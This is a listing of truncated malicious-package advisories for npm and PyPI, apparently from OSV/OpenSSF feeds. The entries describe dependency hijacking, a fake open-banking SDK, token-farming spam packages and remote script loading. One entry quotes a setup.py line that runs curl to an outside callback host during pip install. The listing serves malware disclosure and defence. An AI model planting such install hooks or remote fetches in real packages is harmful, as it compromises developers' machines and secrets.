361290 matches found
Malicious code in xzvbailsx (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac9176da252791a96b93c24e702c2245fb96d9655cdf9f31d61e9bc3e0c21528 package.json declares the dependency libsignal with source github:tenka-san/libsignal-node, an unpinned GitHub ref with no commit SHA, tag, or...
MAL-2026-16279 Malicious code in xzvbailsx (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ac9176da252791a96b93c24e702c2245fb96d9655cdf9f31d61e9bc3e0c21528 package.json declares the dependency libsignal with source github:tenka-san/libsignal-node, an unpinned GitHub ref with no commit SHA, tag, or...
MAL-2026-16278 Malicious code in xzvbailey (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f961ec09baa139430fb2b04c3fef5350f16f659c8de585787a26f3c8535fca38 package.json declares the libsignal dependency as github:tenka-san/libsignal-node, a non-registry source pointing at a personal GitHub account with n...
Malicious code in xzvbailey (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f961ec09baa139430fb2b04c3fef5350f16f659c8de585787a26f3c8535fca38 package.json declares the libsignal dependency as github:tenka-san/libsignal-node, a non-registry source pointing at a personal GitHub account with n...
Malicious code in xa424234657567 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0174148efc99cd1130b3b9f2c57599aac0f80ead454fd7dc0f397386db891b0c The package ships console.js, which when loaded in a browser on any host matching duel.com fetches https://unpkg.com/[email protected]/1.js and...
MAL-2026-16277 Malicious code in xa424234657567 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0174148efc99cd1130b3b9f2c57599aac0f80ead454fd7dc0f397386db891b0c The package ships console.js, which when loaded in a browser on any host matching duel.com fetches https://unpkg.com/[email protected]/1.js and...
MAL-2026-16276 Malicious code in @lekzo/baileys (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector da5caafea4a5656343feb4b52bf0007c98e6ed65a41ad22c79f24c0f1c48566f package.json declares the libsignal dependency as github:canove/libsignal-node — a bare GitHub owner/repo reference with no commit SHA, tag, or semve...
MAL-2026-16273 Malicious code in blue-string-formatter-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa3c9f5edcc636fc8d38e40a6bb225aed8f6b638be31f2abf8b6e747212c9565 The package advertises itself as 'Utility helpers for string formatting' but its shipped main file performs a single behavior: an XMLHttpRequest GET ...
MAL-2026-16270 Malicious code in @tink/tink-link-core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 826e81131e7b2a296324d469c10f1e44d5b33683703c8a2e0f101a8674c1cfcf The package impersonates the Tink open-banking SDK name @tink/tink-link-core, description 'Enterprise-grade client core for open banking', homepage...
MAL-2026-16269 Malicious code in requests-asetwe (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...
MAL-2026-16268 Malicious code in index-forum (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b837b7b56f9b239c9d0c86bd2e7d432d3223e496a9820c54b0a14fd3c542b22 The package was found to contain malicious code or consuming dependency that contains malicious code Source: kam193...
MAL-2026-16272 Malicious code in kartykgithub-multiversion-a (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware cf524b1c8a586bcece6d65140e168a40adec8699c1cc7af61263bfd2a6b84543 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in lisa-ikan40-breki (npm)
Source: amazon-inspector 11ced4cf0e32bc1d604a918c4448ab7399cdef83200fb080ae18414480b27b88 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js, autopublish.js, autopublish2.js, autopublish3.js designed ...
Malicious code in lisa-gulai61-sukiwir (npm)
Source: amazon-inspector c76db0bb57a6d9616bd4055ae266c207b1c9818a60810696db61fb3337ee0bbc This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js, autopublish.js, autopublish2.js, autopublish3.js designed ...
Malicious code in lisa-gorengan76-kyuki (npm)
The package lisa-gorengan76-kyuki was found to contain malicious code. --- Credit: OpenSSF source...
Malicious code in lisa-gaplek6-sluey (npm)
Source: amazon-inspector 7f41c0d0b737f20e534bd556aa6a8b8a567872c20f2b4901f25b0ee63a6c27d2 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js, autopublish.js, autopublish2.js, autopublish3.js designed ...
Malicious code in lisa-brongkos17-sluey (npm)
Source: amazon-inspector afbb9e57b8d005d891f00ee7158c30751923e456d0f5e8cf5c1027843924f8ff This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js, autopublish.js, autopublish2.js, autopublish3.js designed ...
Malicious code in lisa-bubur69-breki (npm)
The package lisa-bubur69-breki was found to contain malicious code. --- Credit: OpenSSF source...
Malicious code in lisa-dradag70-sluey (npm)
Source: amazon-inspector d4f90cfacfce7c029a54656ac8757f2b7fbf44960e332e18d0c590001a0af5ee This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js, autopublish.js, autopublish2.js, autopublish3.js designed ...
Malicious code in lisa-brengkes84-wekto (npm)
Source: amazon-inspector e1f8bd529593a4b1f6981876b4c5d086fed92a0c005f27e8ac62c51b03ace12b This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js, autopublish.js, autopublish2.js, autopublish3.js designed ...